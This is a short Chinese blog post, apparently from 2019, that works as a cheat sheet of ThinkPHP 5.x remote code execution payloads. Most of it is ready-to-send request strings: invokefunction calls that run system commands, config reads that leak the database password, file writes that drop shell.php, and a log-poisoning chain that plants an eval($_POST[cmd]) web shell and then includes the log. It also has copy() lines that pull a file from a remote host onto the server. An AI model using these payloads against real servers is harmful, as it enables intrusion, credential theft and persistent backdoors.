thinkPHP命令执行漏洞

thinkPHP中反斜杠的作用是类库\命名空间

命令执行的姿势

通过反射invokefunction调用call_user_func_array方法,call_user_func_array函数接受两个参数,第一个为函数名,第二个为函数参数数组,如下所示,通过call_user_func_array函数调用system执行whoami函数

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

执行php代码

?s=index/\think\Request/input&filter=phpinfo&data=1

获取当前数据库名称

?s=index/think\config/get&name=database.hostname

获取当前数据库密码

?s=index/think\config/get&name=database.password

执行php代码

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

执行php代码

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

执行php代码

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

执行php代码

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

执行php代码

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

getshell的姿势

写入getshell (file_put_contents应该也行)

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20phpinfo();?>

使用echo写入shell

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://ip/1.xxx','test.php')

一种新的方法

先判断以下代码是否能正常回显

使用post方法请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

写入shell到日志中

post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST[cmd]); ?>

使用文件包含将日志文件可当作php文件进行执行(注意日志文件路径和名称)

post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log

通过一句话copy新一句话文件(echo)

post请求
请求实体:index.php?s=captcha
请求路径:_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("https://ip/1.txt","/web绝对路径/2.php");

thinkPHP 5X 在PHP7以上环境下的 GETSHELL

thinkphp 5.x全版本任意代码执行分析全记录

ThinkPHP 5.x 远程命令执行漏洞复现

posted @ 2019-05-21 19:58  JerryLocker  阅读(8461)  评论(0编辑  收藏  举报